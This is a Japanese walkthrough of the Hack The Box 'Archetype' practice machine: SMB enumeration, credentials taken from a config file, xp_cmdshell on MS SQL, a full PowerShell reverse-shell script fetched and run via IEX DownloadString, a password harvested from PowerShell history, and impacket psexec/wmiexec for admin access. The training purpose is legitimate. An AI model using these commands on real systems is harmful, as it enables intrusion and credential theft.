【Hack The Box】Starting Point（Archetype）

# はじめに
Hack The Boxの[Starting Point](https://www.hackthebox.eu/home/start)（Archetype）について解説します。

Starting Pointはチュートリアルなのでflagを得るまでの手順が示されているのですが、自分は少し詰まったところがあったので、それらも加えた手順を示したいと思います。

こちらの[Youtubeの解説](https://www.youtube.com/watch?v=tYGwPUEiAPs)を参考にさせて頂きました。

# VPNの設定
まず、[こちら](https://www.hackthebox.eu/home/start)から`.ovpn`ファイルをダウンロードしましょう。

以下を実行します。

```
kali@kali:~$ sudo openvpn username-startingpoint.ovpn
```

# nmapでポートスキャン

```
kali@kali:~$ ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.27 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
kali@kali:~$ nmap -sC -sV -p$ports 10.10.10.27
Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-17 21:48 EDT
Nmap scan report for 10.10.10.27
Host is up (0.28s latency).

PORT      STATE SERVICE      VERSION
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Windows Server 2019 Standard 17763 c
1433/tcp  open  ms-sql-s     Microsoft SQL Server 2017 14.00.1000.00; RTM
| ms-sql-info: 
|   10.10.10.27:1433: 
|     Version: 
|       name: Microsoft SQL Server 2017 RTM
|       number: 14.00.1000.00
|       Product: Microsoft SQL Server 2017
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
| smb-os-discovery: 
|   OS: Windows Server 2019 Standard 17763 (Windows Server 2019 Standard 6.3)
|   Computer name: Archetype
|   NetBIOS computer name: ARCHETYPE\x00
|   Workgroup: WORKGROUP\x00
```

ポート445と1433が開いていて、それぞれファイル共有サーバ（smb）とSQLサーバが動いていることがわかります。

# ディレクトリ探索
smbサーバと対話できる[smbclient](https://www.samba.org/samba/docs/current/man-html/smbclient.1.html)を使用して、パスワードなどの機密情報を探します。

```
kali@kali:~$ smbclient -N -L \\\\10.10.10.27\\
       Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        backups         Disk      
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
```

`backups`をのぞいてみます。

```
kali@kali:~$ smbclient -N \\\\10.10.10.27\\backups
smb: \> dir
.                                   D        0  Mon Jan 20 07:20:57 2020
  ..                                  D        0  Mon Jan 20 07:20:57 2020
  prod.dtsConfig                     AR      609  Mon Jan 20 07:23:02 2020

smb: \> get prod.dtsConfig
getting file \prod.dtsConfig of size 609 as prod.dtsConfig (0.5 KiloBytes/sec) (average 0.5 KiloBytes/sec)
```

`prod.dtsConfig`が得られました。中身を見ます。
dtsConfigファイルはSQL Server Integration Services（SSIS）で使用される設定ファイルらしいです。

```
kali@kali:~$ cat prod.dtsConfig
<DTSConfiguration>
    <DTSConfigurationHeading>
        <DTSConfigurationFileInfo GeneratedBy="..." GeneratedFromPackageName="..." GeneratedFromPackageID="..." GeneratedDate="20.1.2019 10:01:34"/>
    </DTSConfigurationHeading>
    <Configuration ConfiguredType="Property" Path="\Package.Connections[Destination].Properties[ConnectionString]" ValueType="String">
        <ConfiguredValue>Data Source=.;Password=M3g4c0rp123;User ID=ARCHETYPE\sql_svc;Initial Catalog=Catalog;Provider=SQLNCLI10.1;Persist Security Info=True;Auto Translate=False;</ConfiguredValue>
    </Configuration>
</DTSConfiguration>
```

下から3行目にSQLサーバに接続するための、ユーザー`ARCHETYPE\sql_svc`のパスワード`M3g4c0rp123`が含まれていることがわかります。

# SQLサーバに接続
SQLサーバに接続するために、[impacket](https://github.com/SecureAuthCorp/impacket)の`mssqlclient.py`を使用します。
まず、impacketを使用可能にします。

```
kali@kali:~$ git clone https://github.com/SecureAuthCorp/impacket.git
kali@kali:~$ cd impacket
kali@kali:~/impacket$ pip install .
```

ユーザー認証に先ほど取得したパスワード`M3g4c0rp123`を使用します。

```
kali@kali:~$ mssqlclient.py ARCHETYPE/sql_svc@10.10.10.27 -windows-auth
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: None, New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(ARCHETYPE): Line 1: Changed database context to 'master'.
[*] INFO(ARCHETYPE): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (140 3232) 
[!] Press help for extra shell commands
SQL> SELECT IS_SRVROLEMEMBER('sysadmin')
              

-----------   

          1 
```

現在のユーザーが`sysadmin`権限（最も高い権限）を持っているか確認すると、現在のユーザーは`sysadmin`権限を持っていることがわかります。

これにより、`xp_cmdshell`を使用することが可能です。
`xp_cmdshell`はSQLコマンドを介して、Windowsのシェルでコマンドを実行できるものです。

`xp_cmdshell`を使用可能にします。

```
SQL> EXEC sp_configure 'Show Advanced Options', 1;
SQL> reconfigure;
SQL> sp_configure;
SQL> EXEC sp_configure 'xp_cmdshell', 1
SQL> reconfigure;
```

```
SQL> xp_cmdshell "whoami" 
output                                                                             

--------------------------------------------------------------------------------   

archetype\sql_svc                                                                  

NULL
```

`whoami`の実行結果からこのアカウントにはWindowsシステムにおける管理者権限はないことがわかります。

管理者権限のあるシェルを取得するために、以下のスクリプトを作成し、`shell.ps1`という名前で保存します。
`10.10.14.3`の部分は自身のIPアドレスに書き換えましょう。
IPアドレスは`hostname -I`などで確認できます。

```
 $client = New-Object System.Net.Sockets.TCPClient("10.10.14.3",443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "# ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() 
```

そして、ポート80でwebサーバを立ち上げます。

```
kali@kali:~$ sudo python3 -m http.server 80 
```

また、ポート433でnetcat listenerを立ち上げます。

```
kali@kali:~$ sudo nc -lvnp 443
```

また、[ufw](https://help.ubuntu.com/community/UFW)を使用して、対象のマシンから自分のマシンへのポート80と443での接続を許可します。

```
kali@kali:~$ sudo ufw allow from 10.10.10.27 proto tcp to any port 80,443 
```

次に、`xp_cmdshell`を使用して、シェルをダウンロードして実行するコマンドを実行します。
`10.10.14.3`の部分は自身のIPアドレスに書き換えましょう。

```
SQL> xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString(\"http://10.10.14.3/shell.ps1\");" 
```

# シェル取得後
正常に先ほどの`xp_cmdshell`コマンドが実行できていると、netcat listenerを立ち上げているコマンドラインでシェルを実行することができます。

ちなみに、自分はこれに気づかず詰まっていました。

```
kali@kali:~$ sudo nc -lvnp 443
[sudo] password for kali: 
listening on [any] 443 ...
connect to [10.10.14.3] from (UNKNOWN) [10.10.10.27] 49680

# dir
...
-a----        9/15/2018  12:09 AM          68096 xmlfilter.dll                                                         
-a----        9/15/2018  12:09 AM         231368 xmllite.dll                                                           
-a----        9/15/2018  12:09 AM          64000 xolehlp.dll 
```

```
# cd C:\\Users
# dir

    Directory: C:\Users


Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                                                  
d-----        1/19/2020  10:39 PM                Administrator                                                         
d-r---        1/19/2020  10:39 PM                Public                                                                
d-----        1/20/2020   5:01 AM                sql_svc   
```

`sql_svc`の`Desktop`から`user.txt`が取得できます。

```
# ls sql_svc/Desktop
Directory: C:\Users\sql_svc\Desktop


Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                                                  
-ar---        2/25/2020   6:37 AM             32 user.txt
```

次に、頻繁にアクセスされているPowerShellの履歴ファイルを参照します。

```
# type C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt 
net.exe use T: \\Archetype\backups /user:administrator MEGACORP_4dm1n!!
```

`backups`フォルダの管理者アカウントのパスワード`MEGACORP_4dm1n!!`を取得できました。

[impacket](https://github.com/SecureAuthCorp/impacket)の`psexec.py`を使用して、管理者権限のあるシェルを取得します。

```
kali@kali:~$ psexec.py administrator@10.10.10.27
Impacket v0.9.22.dev1+20200813.221956.1c893884 - Copyright 2020 SecureAuth Corporation

Password:
[*] Requesting shares on 10.10.10.27.....
[*] Found writable share ADMIN$
[*] Uploading file swacejRN.exe
```

これでいけるな...と思っていたら、`Uploading file ...`でフリーズしました。
原因を調査していたところ、[forum](https://forum.hackthebox.eu/discussion/3116/starting-point-psexec-py)で同じ状況に陥っている人を発見しました。
`wmiexec.py`を使ったらできたと書いてあったので、それを使ってみます。

```
kali@kali:~$ wmiexec.py administrator@10.10.10.27
Password:
[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\> whoami
archetype\administrator
```

管理者権限のあるシェルが取得できました。

```
C:\> cd Users/Administrator/Desktop
C:\Users\Administrator\Desktop> dir
01/20/2020  06:42 AM    <DIR>          .
01/20/2020  06:42 AM    <DIR>          ..
02/25/2020  07:36 AM                32 root.txt
               1 File(s)             32 bytes
               2 Dir(s)  33,826,910,208 bytes free
```

`root.txt` が取得できました。

# 終わりに
以上、Hack The BoxのStarting Point Archetypeについて解説しました。
チュートリアルですが、学びが深かったです。